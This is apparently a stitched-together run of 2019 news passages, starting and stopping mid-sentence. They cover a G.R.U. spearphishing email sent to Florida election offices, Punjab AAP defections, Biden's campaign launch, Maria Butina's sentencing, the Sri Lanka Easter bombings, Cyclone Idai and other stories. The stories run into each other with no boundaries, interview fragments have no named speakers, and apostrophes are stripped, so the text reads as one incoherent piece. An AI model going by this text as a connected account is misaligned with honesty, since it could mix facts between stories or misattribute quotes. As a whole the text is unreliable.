valuation of more than $24 billion but it would place the company behind Facebook, which went public in 2012 with a market capitalization of $104 billion, and the Chinese e-commerce site Alibaba, which was valued at $168 billion in its 2014 offering. It was the day before the 2016 presidential election, and at the Volusia County elections office, near Floridas Space Coast, workers were so busy that they had fallen behind on their correspondence. Lisa Lewis, the supervisor of elections, stumbled on an important email sent to her and three others in the office, by then a week old, that appeared to be from VR Systems, the vendor that sells electronic voter list equipment to nearly every county in the state. Please take a look at the instructions for our modernised products, it said, using British spelling and offering an attachment. Something about the email seemed off. It was from Gmail, Ms. Lewis said. They dont have Gmail. Ms. Lewis, it turned out, was right to be suspicious. Though it had VR Systems distinctive logo, with a red V and a blue R, the email contained a malicious Trojan virus, and it originated not from the elections vendor but from the Russian military intelligence unit known as the G.R.U. The email had been sent to 120 elections email accounts across Florida. Also buried in Ms. Lewiss inbox was a warning from VRs chief operating officer, flagging the dangerous spearphishing attempt and warning all his customers not to click on it. The Kansas Supreme Court on Friday blocked a law that would have banned the most commonly used procedure for second-trimester abortions, arguing that the state Constitution protected the right of women to decide whether to continue a pregnancy. The court sided in a 6-1 majority with the plaintiffs in the case, two physicians who performed the procedure, in a sweeping ruling that opens the door for abortion rights activists to challenge a series of other restrictions that the states Republican-controlled Legislature has enacted. The Kansas case comes at a time of great change for abortion in the United States. Republican-controlled legislatures have chipped away at abortion rights, turning the tide in a broad swath of the countrys middle and the South: Six states are down to one abortion clinic. And now, the math on the Supreme Court has changed with President Trumps choice of Brett M. Kavanaugh last year, and abortion rights advocates are worried that Roe v. Wade, the national 1973 ruling that provided federal protections for abortion, may soon be at risk. Two years after it pushed Punjabs decade-long rulers SAD-BJP combine to the third place to become the principal opposition party in the 117-member Vidhan Sabha, the Aam Aadmi Party (AAP) on Thursday moved another step closer to lose the same, and that too ahead the crucial parliamentary polls. Its two MLAs Sukhpal Khaira from Bholath, and Nazar Singh Mansahia from Mansa resigned as the members of Punjab Legislative Assembly on Thursday. Speculations are that partys three more legislators, unhappy with AAP, are also in queue to shift loyalties. Khaira has already parted ways with the AAP and floated his own political outfit Punjab Ekta Party (PEP) and is contesting Lok Sabha elections from Bathinda as joint candidate of the Punjab Democratic Alliance (a conglomeration of six political parties). Mansahia, who has rebelled against the party and was supporting Khairas election campaign in Bathinda, on Thursday sprung a surprise by joining the ruling Congress party in the State. AAPs rebel MLA Mansahia not only resigned from AAP, but also as an MLA. Bagging 20 seats in 2017 state assembly elections, AAP is disintegrating with little patience in Punjab. Already, its Dakha MLA and renowned advocate HS Phoolka has resigned from the state legislature, and the Speaker is considering the same. Another party MLA, Master Baldev Singh from Jaiton, had also resigned from the party and went on to join Khaira-led PEP and is contesting elections from Faridkot as PDA candidate. In case the resignations of all these MLAs were accepted, AAPs tally would come down to 16 from 20, which would further witness a dip in case more legislators decide to leave the party. Currently, SAD has 15 MLAs in the Vidhan Sabha, while its ally BJP has three. Lok Insaaf Party (LIP), which contested 2017 election in alliance with AAP, has two MLAs. However, the two parties has already fall apart following AAP supremo Arvind Kejriwals meek apology to SAD leader Bikram Majithia and is presently the part of PDA. Crisis hit AAPs Punjab unit after the party high command unceremoniously removed Khaira as the Leader of Opposition in Vidhan Sabha, and replaced him with first-timer Dirba MLA and Dalit leader Harpal Singh Cheema. It resulted in a vertical split within the party with AAP divided into two power centres one headed by Khaira enjoying the support of seven other MLAs, and another owning allegiance to Delhi Durbar. Even as Khaira went on to float his own outfit with one MLA joining him, other six rebel MLAs decided to remain in the party refusing to resign as MLA or leave the party. In fact, with Khaira announcing his candidature from Bathinda Lok Sabha seat, AAPs rebel MLAs in the constituency Nazar Singh Mansahia from Mansa and Jagdev Singh Kamalu from Maur openly came out in his support. Now, there are reports that three other party MLAs who may soon resign and join the Congress, apparently leaving AAP in the lurch.AAP has already put under suspension its Kharar MLA and journalist Kanwar Sandhu. Besides, Pirmal Singh, and Jagga Hissowal have also revolted against the party and have supported Khaira. SAD, on the other hand, is keeping an eye on every development to at least regain the position of principal opposition party in the State, which it lost to the nascent AAP. As per the tenth schedule of the Constitution, any legislative member who voluntarily gave up membership of the political party he represents shall be disqualified from being a member of the legislative body. As per Articles 102 (2) and 191 (2) of the tenth schedule, giving up the primary membership of a political party by a legislative member amounted to defection. REBEL AAP MLA MANSAHIA JOINS CONGRESS Congress party on Thursday got a major boost in Bathinda parliamentary constituency with sitting AAP MLA Nazar Singh Manshahia joining the party. The 56-year engineering graduate from Guru Nanak Dev Engineering College had won the 2017 assembly elections from Mansa, polling about 40 percent votes. Chief Minister Capt Amarinder Singh said that his entry would further strengthen the Congress and like-minded people from other parties, who had the interests of the State at heart, are joining the Congress in Punjab. It was a clear sign of complete disillusionment within AAP, which had lost its locus standi amid a party-wide rebellion, he added. Manshahia, who had taken a premature retirement from Punjab Pollution Control Board in 2015 after serving as senior environmental engineer in the Department, said that he wanted to serve the people of Punjab, which he felt the Congress was best equipped to do. AAP has completely lost the narrative in Punjab, with no positively agenda or ideology to guide it, he added. A first-time MLA, Manshahia was Member of House Committee and Committee on Farmers Suicides and Farm Labourers of Punjab Vidhan Sabha (2017-18). He is currently Member of Committee on Government Assurances of Punjab Vidhan Sabha (2018-19). SADDENED BY MANSAHIAs DEFECTION: KHAIRA PEP president Sukhpal Singh Khaira on Thursday said that he was extremely shocked and saddened to hear about the sudden defection by Mansa MLA Nazar Singh Mansahia. I always held Nazar Singh in a high esteem because of his experience, maturity and wiseness. I could never think of Nazar Singh defecting in the middle of an election and too without any valid reason. His defection will only bring disrepute and shatter the confidence of people in the political class of Punjab, he said. Holding Chief Minister Capt Amarinder Singh squarely responsible for crafty defection and introducing aaya ram-gaya ram culture in Punjab, Khaira said that Capt Amarinder has turned out to be new Bhajan Lal of Punjab, who despite having a brut majority of 78 MLAs is still shaky inside. The cowardly act of Capt Amarinder to break parties shows his weak mental character who has no confidence in himself and is thus resorting to third degree methods to further pollute the already decayed electoral system of Punjab, he said. Manuel Lujan Jr., a former 10-term Republican congressman from New Mexico and a secretary of the interior whose efforts to balance development and conservation of federal lands often left him at loggerheads with environmentalists, died on Thursday night at his home in Albuquerque. He was 90. A granddaughter, Amy Everett, confirmed the death. In a statement, Gov. Michelle Lujan Grisham of New Mexico, a Democrat and a distant cousin of his, called Mr. Lujan the picture of a statesman. The scion of a well-connected New Mexico family, Mr. Lujan mounted his first congressional campaign in 1968 at age 40, unseating the incumbent, Thomas Morris, and becoming the first Republican congressman from New Mexico since 1931. He held that position continuously for the next 20 years despite major demographic shifts in his constituency. A former vice president known for My love affair with Amtrak. Back on Amtrak and his famous friend. This also gives the internet one last chance to talk about our bromance. Joe Biden is running for president. Today, I am announcing my candidacy for president of the United States. Hes tried it before. And with the grace of God and the support of the American people, I mean to be that kind of president. Twice. This is not about experience. Its not about change. Its about action. So, why does he think the third times a charm? Biden may be betting that in this politically tumultuous time, voters are looking for a familiar face. He arrived in Washington before C-Span existed and before these members of Congress were born. His credentials are unmatched in the Democratic Party. He served two terms as vice president, 36 years in the Senate and has chaired powerful congressional committees. And hes earned himself a few nicknames along the way. Working-Class Joe. Working-Class Joe Biden. Old Uncle Joe Biden. Crazy Uncle Joe Biden, just being Biden. So, what are Bidens priorities? Hes a moderate Democrat and is likely to focus on: expanding health care, investing in education and rebuilding relationships with allies. The America I see does not wish to turn our back on the world or our allies. We will be back. But his decadeslong record comes with some baggage, including his support for the Iraq war. President Bush is right to be concerned about Saddam Husseins relentless pursuit of weapons of mass destruction. Tough anti-crime policies. First, we have to join together to ensure that drug dealers are punished swiftly, surely and severely. And his role in the Anita Hill hearing. It is appropriate to ask Professor Hill anything any member wishes to ask her to plumb the depths of her credibility. More recently, several women have come forward saying they were uncomfortable with the way Biden touched them. I feel Joe Biden put his hands on my shoulders, get up very close to me from behind, lean in, smell my hair and then plant a slow kiss on the top of my head. Biden responded on Twitter. The boundaries of protected personal space have been reset and I get it. I will be more mindful and respectful of peoples personal space. So, how has Biden taken on President Trump? Theyve had their share of fighting words. If we were in high school, Id take him behind the gym and beat the hell out of him. Trump shot back on Twitter, and said Biden would go down fast and hard, crying all the way. Biden later said he regretted his comments. So, what are Bidens odds? He entered the race as an instant front-runner and hes already leading in early polls. But as a white man in his late 70s, Bidens test will be whether his popularity can outweigh the partys thirst for generational change. He describes the kind of real-time processing he has tried to engage in recently including whether he should have hugged the TV hosts. I actually thought in my head when I walked out here, he says. I mean, do I? Were friends. But I have to be aware of it. I have to be more cognizant. When he seems to be stopping short of an unqualified apology, Joy Behar pushes. Nancy Pelosi wants you to say, Im sorry that I invaded your space. Sorry I invaded your space. And I am, Im sorry this happened, Biden says. It is his job to read better, he adds, though he seems like he wants to say more. It was inappropriate that I didnt understand, that I assumed, he says. Look, I was anyway. He cuts himself off. Sydney: One thing Im struck by is that it took the hosts multiple tries to get him to say Im sorry. Its not clear whether this will satisfy those who were not happy with how hes dealt with the allegations so far, which has included joking about them. His apology was direct, but it took him a while to get there. It seemed almost flip. Alex: This is a very genial format for Biden to address a whole bunch of difficult issues for his candidacy, including his age and his physical manner with women. The questions are getting served up pretty gently and without a lot of follow-up, and sometimes the hosts are expressing sympathy with his answers, as Ana Navarro just did on the question of Biden and womens personal space. Im left wondering how Biden will respond to less-warm questioning on the same subjects. His answer on his ideas for the future, for instance, was totally vague. On Anita Hill Matt: When asked about his treatment of Anita Hill when he was overseeing the Clarence Thomas hearings, Bidens answer gets at the frustration among many in the party with his semi-apology to Hill: He doesnt seem to think he should have, or could have, done anything all that differently. I did everything in my power to do what I thought was within the rules, he says. Sydney: Heres the line that will get attention: I dont think I treated her badly. Many might disagree. I told him, Now we know what your stance is on one issue. Im not sure any candidate is going to come out and say theyre in favor of violence. So well see what he does now with what he says, and well see what his other issues are and Im watching the other candidates, too. I mean, there are so many! Did he say anything else to you that you found memorable? I can separate knowing who someone is in their personal life from knowing who someone is as a politician. I still have to be convinced of anybody being worthy of my vote. He seemed like an O.K. guy talking to him. I dont know anything about his policies or his platform. He had heard the rumor that I was traumatized, too, and I heard rumors that other people were. I havent really talked to anybody about it one way or the other, but I said, If you had asked me beforehand, I would have told you that this could backfire on you. And what did he say in response? I dont really remember that he answered me. How long was the phone call? About 20 minutes, while I was driving through town. I assume that at some point yesterday morning you watched Mr. Bidens video? Yes, I watched it before I commented to anybody about it. And what did you make of it? He doesnt use Heathers name, but he does talk about a brave young woman. I noted that he did not use her name, and I commented to him about that, and I said, I assume thats because you didnt check with me first. And he said, That is correct. WASHINGTON The Russian graduate student who tried to infiltrate conservative, influential Republican circles during the last presidential campaign was sentenced on Friday to 18 months in prison for serving as an unregistered Russian agent in the United States. The student, Maria Butina, 30, pleaded guilty late last year to working on the Russian governments behalf in the United States from 2015 to 2017 without registering with the Justice Department, as required. Her defense lawyers cast her as an ambitious, well-meaning young woman who hoped to foster better relations between the United States and Russia. In a tearful voice, Ms. Butina told Judge Tanya S. Chutkan of the United States District Court for the District of Columbia, I just didnt register because I didnt know to. But prosecutors argued that Ms. Butina forged links with National Rifle Association officials and other influential Republicans, aiming to create back channels of communication that could pay off if Republicans seized the White House. They said a senior Russian official directed her activities and shared some of her reports within the Russian government. A counterintelligence expert said her reports would have helped Russian intelligence spot and assess potential American recruits. Mr. Trump plunged into a risky nuclear negotiation with North Koreas Kim Jong-un, despite Mr. Abes warnings to hold a tough line with Pyongyang. Officials in Tokyo worry that a nuclear deal could hurt Japan, if Mr. Kim agrees to give up his intercontinental ballistic missiles, which can reach the United States, without surrendering his intermediate and short-range missiles, which can hit Japan. In that regard, the impasse between Mr. Trump and Mr. Kim in Hanoi in February was positive news. Japanese officials were encouraged that Mr. Trump rejected Mr. Kims demand to lift onerous sanctions against North Korea in return for it shutting down an aging nuclear facility at Yongbyon. As long as Mr. Trump refuses such demands, analysts said, he and Mr. Abe will be on the same page. What could be more challenging for Mr. Abe, in the short run, is persuading Mr. Trump to remain a visible presence at international gatherings, like the Group of 20 summit meeting, scheduled for the Japanese city of Osaka in June, as well as the Group of 7 meeting set for France in August and the East Asia Summit in Thailand. Japan, which assumed the G-20 presidency for the first time this year, views the gatherings as a crucial way to exercise diplomatic leverage. Mr. Trump will visit Tokyo to meet the new emperor, Naruhito, in May, only a month before the Osaka summit meeting. He famously clashed with other Western leaders at his last Group of 7 meeting in Canada. And he sent Vice President Mike Pence in his stead to last years East Asia Summit in Singapore. The Japanese would be lucky to get Trump to one of the three, said Michael J. Green, who holds the Japan chair at the Center for Strategic and International Studies. They really need him to support the international institutions that underpin Japans own diplomatic position. On trade, the two sides appear to be heading toward a limited deal that would give American farmers and ranchers better access to the Japanese market, and Mr. Trump a political victory before the 2020 presidential election. The countries could then swing back later for a more comprehensive trade agreement covering manufacturing and services. Mr. Trump indicated on Friday that a deal could be in the final stages by the time he heads to Japan. The behavior also prompts new questions over whether the Trump administration is sacrificing what should be long-term priorities namely, countering China and Russia as outlined in the National Security Strategy for short-term obsessions with much weaker nations that pose no real threat to the United States, notably Iran, Venezuela and Cuba. The relentless drive of Mr. Trump and his top foreign policy officials to pressure smaller nations has inflamed allies. The damage to relations will be difficult to repair even after Mr. Trump leaves office, diplomats warn, because of rising rancor and a huge erosion of trust that could lead allies to strengthen ties with other powers. You have a bad combination of unilateralism and narcissism, said William J. Burns, a deputy secretary of state during the Obama administration and a 33-year foreign service veteran who wrote in a new book about the decline of diplomacy under Mr. Trump. Were digging a hole for ourselves, Mr. Burns said. Its not like the rest of the world is going to sit by while we get our act together. So rivals take advantage. Allies start to lose faith and hedge. From Mr. Trumps perspective, the United States is tackling global issues in a realistic manner with his America First approach working with allies so long as it benefits American interests. Under this president and this vice president, Mr. Pence said, no one is taking your guns. The N.R.A. was hit with a rebuke for its lobbying tactics this month when the Democratic-controlled House approved a revamped Violence Against Women Act that would bar those convicted of abusing, assaulting or stalking a domestic partner from buying guns. Mr. Trump disparaged this and other legislative attempts as a move by Democrats to ensure that bad guys keep their guns. The legislative setback played out as the N.R.A. has endured scrutiny over desperate calls for fund-raising and a rare dirty-laundry lawsuit. Earlier this month, the N.R.A. sued the ad firm Ackerman McQueen, one of its closest contractors and the operator of its media arm and the NRATV channel, of mishandling $40 million that it and its affiliates receive annually from the association. It has also been named in a lawsuit filed against the Federal Election Commission by the Giffords Law Center to Prevent Gun Violence, which has accused the group of abusing campaign finance laws to funnel money toward Mr. Trump and several other Republicans. (In a statement, the N.R.A. called it a lawsuit based on a frivolous complaint.) Theres definitely some bad news and the N.R.A. internally is suffering from some major turmoil, Adam Winkler, a law professor at the University of California, Los Angeles, who specializes in the Second Amendment, said in an interview. But theres been some major success with Donald Trump. Members of the N.R.A.s five-million-strong gun rights advocates, who have supported Mr. Trump from his days as a long shot Republican presidential candidate, looked toward his visit as welcome fuel to continue battling well-funded gun control groups and Democrats in the House. The president is the most enthusiastic supporter of the Second Amendment that has occupied the White House in recent history, Jennifer Baker, an N.R.A. spokeswoman, said in an interview. Ms. Baker added that N.R.A. members have been fervently pro-Trump since the beginning because they understood what was at risk. Our members are pretty politically astute, Ms. Baker said. The Supreme Court was at stake, and in recent history we havent had a presidential nominee that was so unabashed and vocal about their support for the Second Amendment and our organization. The agricultural woes in Wisconsin are a microcosm of the difficulties that farmers across the country have faced as a result of the multifront trade disputes that have lingered for more than a year. In 2018, farm income nationally was $63.1 billion, the second-lowest total in a decade. Commerce Department figures released on Friday suggested that farmers were not anticipating much relief, as purchases of agricultural equipment were tepid. A report last year from the U.S. Dairy Export Council estimated that over the next several years, retaliatory tariffs by China and Mexico could cut American dairy exports by $2.7 billion and lower dairy farmers revenues by $16.6 billion if they were not rolled back. Hes talked over time about how much he cares about these dairy farmers, but he hasnt really followed up with any certainty, Senator Tammy Baldwin, Democrat of Wisconsin, said of Mr. Trump in an interview. Our farmers need good trade deals, not trade wars. Representative Mike Gallagher, a Republican from the Wisconsin district that includes Green Bay, said he had urged the White House to roll back the steel and aluminum tariffs that Mr. Trump had imposed on Canada and Mexico so that farmers in his state could get relief. He said that the top concerns of dairy farmers were the tariffs, along with Mr. Trumps immigration policies, which make finding farm labor more difficult. Wisconsin farmers are caught in the crossfire, Mr. Gallagher said. The financial strain proved too much for the Voelker family in Rice Lake, a town of fewer than 10,000 people in western Wisconsin. The Voelkers sold 20 milk cows this year and the remaining 40 are expected to be gone by September, as the farm transitions to producing grain and crops. Cows that used to sell for $2,000 each a few years ago are now worth only $800. The hope is that by getting out now, they can save a family farm purchased in 1940. The Horticulture department of Himachal Pradesh on Thursday said that apple crop has suffered a huge damage in different areas of the state in the last few days due to hailstorm. All the development blocks of Shimla district, Ani development block of Kullu district and Karsog, Seraj, Gohar and Sundernagar the development blocks of Mandi district have suffered heavy losses, a spokesman of the Horticulture Department said. He said instructions have been issued to the Regional Officers to take stock of the estimate of the damage caused by recent hailstorm. They have been asked to assess the loss along with the officials of Revenue department and send a detailed report to the Directorate of Horticulture department soon. The department has advised the horticulturists covered under the weather-based crop insurance scheme to register their complaints or inform regarding the loss caused by the hailstorm to the Agricultural Insurance Company of India on toll-free number 1800-103-0061 so that they one of their representative could also be included in assessing the loss. The department has already directed the insurance company to assess the damage caused by the hailstorm. Good morning. (Heres the sign-up, if you want to get California Today delivered to your inbox.) When the famous rainbow gay pride flag was first pieced together by a man named Gilbert Baker in 1978, he used eight colors. Each one represented a certain idea. There was red for life, orange for healing, yellow for sunlight, green for nature, indigo for harmony and violet for spirit. That first version also had two other colors that would be left out of later flags: pink, which represented sex, and turquoise, art. Christina Linden said she kept those last two at the front of her mind as she put together, Queer California: Untold Stories, an exhibition at the Oakland Museum of California that opened earlier this month. Augusto Bras used to grow maize and rice here. It was just enough to feed his family, until a cyclone struck his village in mid-March. It came just before the annual harvest, destroying his home and his crops. Reporter: Oh, I see. So, on the inside this is rotten. Oh, I see. But the real tragedy for Augusto and for his wife, Amelia, was losing their 8-year-old son, Francisco. Francisco was swept away and drowned. What saved them was climbing up a tree like this one. And they stayed there for three days, clinging onto the branches. Reporter: When the water came, how high did it go? Can you show us? Idai was the deadliest cyclone to hit southern Africa in over a century. It brought torrential rain that flooded entire towns and ruined vast stretches of farmland. In Mozambique, at least 600 people were killed, and many more could be missing. The people here were already some of the poorest in the world, and the little they had is gone. Now, most of the flooding has receded, but the crisis is far from over. So, we came here weeks after the storm to understand its lasting impact. With crops wiped out, millions are struggling to feed themselves and to rebuild, and are now entirely reliant on aid. In Buzi, one of the most-affected areas, we meet up again with Amelia. Shes with her neighbor Ester, whose daughter Laucina is sick. Reporter: But whats the baby sick with? Ester is worried these symptoms might be a sign of cholera. Following the storm, cholera became one of the most urgent concerns. In a matter of days, the number of recorded cases went from three to 3,000. But a mass vaccination campaign has helped stop it from spreading. Ester wants to have her daughter examined, but she cant go to the main hospital. Its been wrecked by the cyclone. So, they head to an emergency treatment center run by Doctors Without Borders. The doctors dont think Laucina has cholera or malaria. In fact, it looks like what she needs is food. Vital aid is arriving in Mozambique, provided by dozens of relief agencies that have taken over the town of Buzi, like this evangelical group. Singing: Thank you, thank you, Jesus. Thank you, thank you, Jesus, from my heart. Lets do it in Arabic, guys. [Singing] Theyve set up a new clinic here that includes a full operating theater. Please, please, please always consider malaria a problem. Just down the road, this Muslim charity is handing out roofing materials. Reporter: Is Al-Imdaad a South African organization, or is it part of an international one? Its a proud South African organization. Everywhere we go, the effort to bring the town back to life is underway. We catch up with Ester and Amelia after their visit to the clinic. Theyre carrying bags of aid maize flour to take back home. After making it across the river, its an hour-and-a-half journey on foot. But thats what they have to do to keep the family fed. Theres enough aid, for now, while funds last. But the next big harvest is one year away, and theyre going to need a lot of help to survive until then. Taha Osman al-Hussein, a former aide to Mr. al-Bashir, fled Sudan to Saudi Arabia in 2017 amid accusations he was a Saudi intelligence asset. A month later, he was appointed to the Saudi royal court as an adviser on African affairs. Last week, according to several western officials, Mr. al-Hussein returned to Khartoum, stoking suspicions among protesters who denounced him in posters that he had come to do covert work on behalf of the kingdom. Talks between Sudans protesters, led by the Sudanese Professionals Association, and the military, resumed on Wednesday after stalling briefly. Bankers and senior judges have joined the sit-in, strengthening the hand of the protesters. In recent days, both military and protest leaders have spoken positively about the possibility of a power-sharing council to run Sudan before elections set to take place up to two years from now. But the key question, of whether a military general or civilian leader would hold ultimate power during that period, is unresolved. Protest leaders still hope they can get the Saudis and Emiratis on their side. I advise them to link with the real representatives of the people of Sudan, and not to make a deal with any party that is not connected to the people, said Mohamed Yousif, a university professor and protest leader. If the people see an attempt to impose something that runs counter to their interests, they might rise up again. He arrived there as a refugee in 1981, fresh from earning a degree in agriculture at Kabul University. He had focused on agriculture at the urging of his mother, who used to grow vegetables to help feed their family of 10. It was an eventful period. In 1979, when Mr. Aslami was two years into his studies in Kabul, the Soviet Union invaded, toppling Afghanistans nascent republic and installing a communist government. As Afghanistan descended into chaos, Mr. Aslami said, his class of 120 students dwindled to 15. Some fled the country, others were disappeared by the brutal new regime, often taken away from the lecture hall. If someone came to the class and read your name, you knew you were gone, he said. At his familys urging, Mr. Aslami left for Iran, where he would remain for more than a decade, carrying out research and working with villagers to improve cultivation techniques. That was also where he began to see the promise saffron held for Afghan farmers. Saffron is harvested from a fall-blooming variety of the crocus flower, a hardy perennial that grows from bulbs and can withstand Afghanistans harsh climate. The flowers, each containing three red stigmas that will become the spice, have to be picked by hand in the early morning, before the blossoms open to the sun. The plants bloom for only about three weeks a year, in late October and early November. After being plucked, the flowers are dried and the stigmas separated later. Harvesters must wear clean clothes, gloves and masks, because the slightest odors can be absorbed by the flower, reducing the quality of the spice. President Rodrigo Duterte of the Philippines lashed out at Canada this week, provoked by a dispute between the nations that has festered for half a decade, over hundreds of tons of Canadian trash brought to Philippine ports. Canada, I want a boat prepared. Ill give a warning to Canada, maybe next week, that they better pull that thing out or I will set sail, he said at a news conference in San Fernando city in the Philippines on Tuesday. He added: We will declare war against them. In the days following Mr. Dutertes remarks, Canadas government responded, saying, in effect, that it was working on resolving the dispute a business transaction gone wrong that has spiraled outward over the years and now touches on not only Philippine-Canadian relations, but also on an international treaty and Canadas reputation abroad. The trash in question arrived in 2013 and 2014, in 103 containers delivered from Canada by a private company and marked falsely, Philippine officials say as holding recyclable plastic scrap. In reality, dozens of containers held used adult diapers, household garbage, plastic bags and other waste, and some of the containers were found to be leaching fluids, according to a legal opinion on the case by the Pacific Centre for Environmental Law and Litigation, a Canadian nonprofit. But while Mr. Hou has taken a harsher tone after the oil spill, he has not exactly cracked down on Bintan. His government issued prospecting licenses to the company for nearby islands a day after he called its activities immoral. Asked to comment for this article, Bintan sent clips of a news article about its lawsuit against the shipowner. The sites where Bintan operates were supposed to be mined in phases and progressively rehabilitated, according to an environmental impact assessment. But that never happened. One resident, Tupuitenuku Huaitemanongi, accused Bintan of digging on his ancestral lands, destroying graveyards and other important sites. Some of my family members and relatives were harmed in our first encounter, and though we reported them to the police in Rennell, they did nothing, he said. People rely on the slim pickings from the mining. But not everyone benefits from royalties, employment or the basic facilities the company provides, leaving the island divided. They work on our land, said Obed Saueha, chief of the Tenuginuku tribe. But we dont have any power. Still, residents want the wrecked ship out of their sight. Words scrawled in red paint on the Solomon Trader make that clear. Sorry, its time to go, it reads. The pileup of fiascos began long before the attack itself. Elders in the town of Kattankudy had warned authorities several times over the past couple of years about the violent extremism preached by Zaharan Hashim, the suspected mastermind of the bombings on Sunday, who routinely called for the slaughter of nonbelievers. Even after his band of radicals had begun targeting moderate Sufi Muslims and vandalizing Buddhist statues, the warnings were not taken seriously. Mr. Zaharan remained at large, and is believed to have traveled freely in and out of the country. He fell on the radar of Indian intelligence agents who, in the weeks leading up to the attack, repeatedly told their Sri Lankan counterparts their concern that Mr. Zaharan was plotting violence. Some officials believe the Americans also had information on Mr. Zaharan, which they likely conveyed to the government. Ten days before the bombings, a top Sri Lankan police official sent a detailed memo warning the security services that Mr. Zaharans little known militant group, National Thowheeth Jamaath, was planning suicide attacks against churches. Again, the government ignored the warning. The political finger-pointing began while the bodies were still being collected. In the hours after the attack, President Sirisena and Prime Minister Ranil Wickremesinghe each said they were unaware of the warnings and blamed others for their ignorance. How could Mr. Wickremesinghe have known, he asked, according to cabinet ministers allied with him, since the president had not allowed him in National Security Council meetings for months. Hello. Im Emma Cott from The New York Times. How are you? Good. How are you? Fine. This is your fathers shop? Yes. Can we go in? Yeah. You come here. Wow. So, what was here before? And this happened when? Sunday. The day of the terrorist attack? Yeah. Between 7:30. In the evening. So the terrorist attack happened in the morning and this happened in the evening. Do you have any idea who was responsible? Mohamed Ifaz and his father were born and raised in Sri Lanka. They live south of the capital city. Like most of the shopkeepers on this street, theyre Muslim, which could explain why their store was torched right after the terrorist attacks here. We traveled to Negombo, to the site of the deadliest of eight suicide bombings that ripped through this country on Easter morning. People here told us theyre now scared to gather, even to grieve. We came to witness a country in mourning, and to see whats being done to prevent that grief from leading to more violence. Sri Lanka has a long history of ethnic tension. Nearly three decades of civil war ended in 2009, but that conflict was between Tamils, who are mostly Hindu, and the Sinhalese majority, who are mostly Buddhist. More recently, Buddhist extremists have attacked Muslims and Christians. And now, theres a growing concern that Sundays bombings could create a new rift between those two minorities. The police tell us theres a mosque thats sheltering Muslim refugees from Pakistan and Afghanistan, who are fearing for their lives. We heard that some families are living here that have been moved. Yeah, Pakistan families, yeah. O.K., the ones that have been moved since the bombings? Yeah. Since Sunday, the cops have been dropping people off here for their own protection. Theyre sleeping on the floor and theres almost no food, and they have no idea when it will be safe to go back to their homes. Reporter: What happened to make you come here? Reporter: Somebody came to your house with knives and sticks? Reporter: People were outside your very house? Reporter: And what were they saying? Only some of the people we talked to say they were actually threatened by mobs, but everyone is sharing stories, and the uneasiness spreads. Reporter: You said Sri Lankan people were fighting at your house? Reporter: And saying what? You are Reporter: And how was it before the Sunday attacks? Reporter: When you heard what? We decide to head to a police station to see what the cops are doing to defuse tensions. Nice to meet you. Thank you. Thank you for speaking with us. But as soon as we arrive, an officer interrupts our meeting. Someone has called to report Muslims in the area. We rush out to see how police will respond. By the time we get there, a crowd has gathered outside an apartment. People tell us that the Muslims living there havent come out for days, which seems suspicious. Reporter: Is this the family? Theyre taking them in? Minutes later, a family appears. This van will take them to the police station where theyll be registered, then to the mosque where theyll join the other refugees. Its not safe for them to stay here anymore. [praying] Back in town, the funerals continue. As soon as one finishes, another begins. No one here is calling for revenge. There is only grief and shock. But a flier is distributed, urging survivors of the bombings not to lash out against their neighbors. The terrorists want to disrupt society by pitting one group against another. More violence would only give them what they want. An American university student found herself caught up in a terror investigation on the other side of the world this week after Sri Lankan authorities mistakenly posted her picture with a list of potential suspects in the Easter Sunday attacks that killed more than 250 people. The student, Amara Majeed, who attends Brown University in Rhode Island, posted on Facebook on Thursday that her photo was included in an alert issued by Sri Lankas Criminal Investigation Department. The public notice urged people to report any details about the potential suspects to authorities. It featured Ms. Majeeds photo alongside the name Fathima Qadiya, who officials say is wanted in connection with the attacks. I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka, Ms. Majeed wrote in the Facebook post. What a thing to wake up to! This is obviously completely false and frankly, considering that Muslim communities are already greatly afflicted with issues of surveillance, I dont need more false accusations and scrutiny. Ms. Majeed, a prominent United States-based Muslim activist, is the daughter of Sri Lankan immigrants. Her activism has been lauded by media organizations around the world. Ms. Majeed has been an outspoken advocate for the American Muslim community, and in 2014 wrote a book titled The Foreigners, to quash stereotypes about Islam. She walked to the lectern in Armenias National Assembly to denounce the crimes committed daily against her community. The woman, Lilit Martirosyan, 28, said she embodied those people who are tortured, raped, kidnapped, subjected to physical violence, burned, immolated, knifed, subjected to murder attempts, killed. The presentation earlier this month, less than three minutes long, seemed pertinent on a day in which the assembly had convened hearings on human rights. But Ms. Martirosyan was speaking of transgender people, and the backlash was sudden and fierce. You have violated our agenda, shouted Naira Zohrabyan, who leads the assemblys committee on human rights. Ms. Zohrabyan had given the floor to Ms. Martirosyan just moments earlier, but it appeared she was unaware that Ms. Martirosyan was transgender and was going to speak about gender-based violence and discrimination. When suffering from a heart attack, the first 60 minutes, called as golden hour are decisive. It is only through rapid treatment that further heart damage, or even worse, can be prevented. With an aim to reach out to such people suffering heart attack or chest pain, the Indian Council of Medical Research (ICMR) on Thursday launched Mission DELHI, an emergency medical service wherein a motorbike-borne assistance unit can be quickly summoned for the patients. The pilot project has been launched in a radius of three kilometres around the All India Institute of Medical Sciences (AIIMS) in the national Capital. Under Mission DELHI (Delhi Emergency Life Heart-Attack Initiative), a pair of motorcycle-borne trained paramedic nurses would be the first responders for treating heart attack patients. On getting a call (toll free no. 14430 and 1800111044), the pair would rush to the spot, gather basic information on the patients medical history, conduct a quick medical examination, take the ECG, and establish a virtual connect with the cardiologists at AIIMS and deliver expert medical advice and treatment, AIIMS Director Randeep Guleria said. While the emergency treatment is being provided, a CATS ambulance will arrive and take the patient for further treatment. Even as the patient is on way to the hospital, doctors at AIIMS control centre will evaluate the data received from the nurses to establish further course of treatment. ICMR has signed a memorandum with CATS for this project, ICMR Director General Balram Bhargava said. The idea is to reach with medical help much faster, given the high-density traffic situation in the city where movement of four-wheeler ambulances becomes difficult. Motorcycle ambulances can reach people in narrow lanes in congested areas, Guleria said. The idea has been tried in remote areas of the country but not specifically for reaching those with heart trouble. Guleria said the attempt is to reach patients within 10 minutes. The heart is like a room that pumps blood to the entire body. Before the blood is pumped to the body, it is pumped to the walls of the heart through three pipes (coronary arteries). If any of these pipes are clogged by clot, the tissues in that part of the heart die, Dr Bhargava, a cardiologist, explained. It is important to remove the clot that is stopping the blood flow. If the heart walls are damaged, they cannot be repaired. Clot busters are almost equal to angioplasty. Clot-buster medication is low-cost treatment whereas angioplasty is expensive, he said. Clot busters can be given within a short time after a heart attack. In this project, the clot buster will be given very soon even at home, Dr Bhargava said. LONDONDERRY, Northern Ireland The main political parties in Northern Ireland have agreed to restart negotiations to 